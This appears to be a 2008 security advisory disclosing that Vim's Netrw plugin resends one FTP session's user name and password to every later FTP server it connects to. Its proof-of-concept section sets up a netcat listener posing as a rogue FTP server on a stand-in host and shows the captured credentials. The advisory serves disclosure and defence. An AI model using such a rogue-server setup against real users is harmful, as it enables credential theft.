Vim: Netrw: FTP User Name and Password Disclosure

From: Jan Minář <>
To:,,,,Charles E Campbell, Jr (Vim Netrw Plugin Maintainer) <>
Subject: Vim: Netrw: FTP User Name and Password Disclosure

Vim: Netrw: FTP User Name and Password Disclosure


Product  : Vim -- Vi IMproved
Versions : Tested with Vim 7.1.266, 7.2, autoload/netrw.vim v131, v109
Impact   : Credentials disclosure
Wherefrom: Remote
Original :

The Vim Netrw Plugin shares the FTP user name and password across all
FTP sessions.  Every time Vim makes a new FTP connection, it sends the
user name and password of the previous FTP session to the FTP server.


  ``Vim is an almost compatible version of the UNIX editor Vi.  Many new
    features have been added: multi-level undo, syntax highlighting,
    command line history, on-line help, spell checking, filename
    completion, block operations, etc.''

             -- Vim README.txt

  ``Netrw supports "transparent" editing of files on other machines
    using [...] vim ftp://hostname/path/to/file''

  ``Attempts to use ftp will prompt you for a user-id and a password.
    These will be saved in global variables g:netrw_uid and
    s:netrw_passwd; subsequent uses of ftp will re-use those two items
    to simplify the further use of ftp.  However, if you need to use a
    different user id and/or password, you'll want to call NetUserPass()

                    -- Netrw Reference Manual (``pi_netrw.txt'')


Once vim successfully connects to an FTP server using a user name and
password credentials, it will re-use them in all subsequent FTP
sessions, regardless of the domain name or TCP port.

This behaviour is documented, although the documentation states the
credentials are ``retained on a per-session basis''.  Apparently the Vim
session, not the FTP session:

  ``g:netrw_uid      (ftp) user-id,    retained on a per-session basis
    s:netrw_passwd   (ftp) password,   retained on a per-session basis''

                -- Netrw Reference Manual (``pi_netrw.txt'')

Although FTP communication is not encrypted and therefore open to
eavesdropping, if the access to the network is protected, a
credentials-based access control is meaningful, and the credentials must
be kept secret.  For example, an FTP connection to a virtual Xen
instance on the same physical machine is secure; so is an FTP session
over a local ethernet segment secured against access from untrusted


No adversary action on the part of the attacker is necessary, apart from
keeping logs of the user name, password, source IP address, and other
information about the FTP session.

An example using netcat(1) for the rouge FTP server.  There is another
FTP server already running on the machine:

    # For the sake of this example, a custom hosts file.  Note that
    # and ftp.rogue.example map to different IP
    # addresses.
    $ grep '\.example' /etc/hosts       ftp.rogue.example
    # There is a stock FTP server running already
    $ netstat -plan | grep ftp
    tcp 0 0* LISTEN 30623/vsftpd
    # Start the rogue FTP server
    $ printf '220\r\n331\r\n' \
    | netcat -lp 31337 ftp.rogue.example > credentials&
    # We use the ex command for clarity.
    $ ex
    Enter username: rdancer
    Enter Password: *************
    Entering Ex mode.  Type "visual" to go to Normal mode.
    :spl ftp://ftp.rogue.example:31337/
    "ftp://ftp.rogue.example:31337/"  --No lines in buffer--
    $ cat credentials
    USER rdancer
    PASS z5vS24u76OrGM


This advisory is Copyright 2008 Jan Minar <>

Copying welcome, under the Creative Commons ``Attribution-Share Alike''

Code included herein, and accompanying this advisory, may be copied
according to the GNU General Public License version 2, or the Vim
license.  See the subdirectory ``licenses''.

Various portions of the accompanying code may have been written by
various parties.  Those parties may hold copyright, and those portions
may be copied according to their respective licenses.


2008-08-12 Sent to: <>, <>,
     Charles E Campbell, Jr (Vim Netrw Plugin Maintainer)

Copyright © 1995-2021 All rights reserved.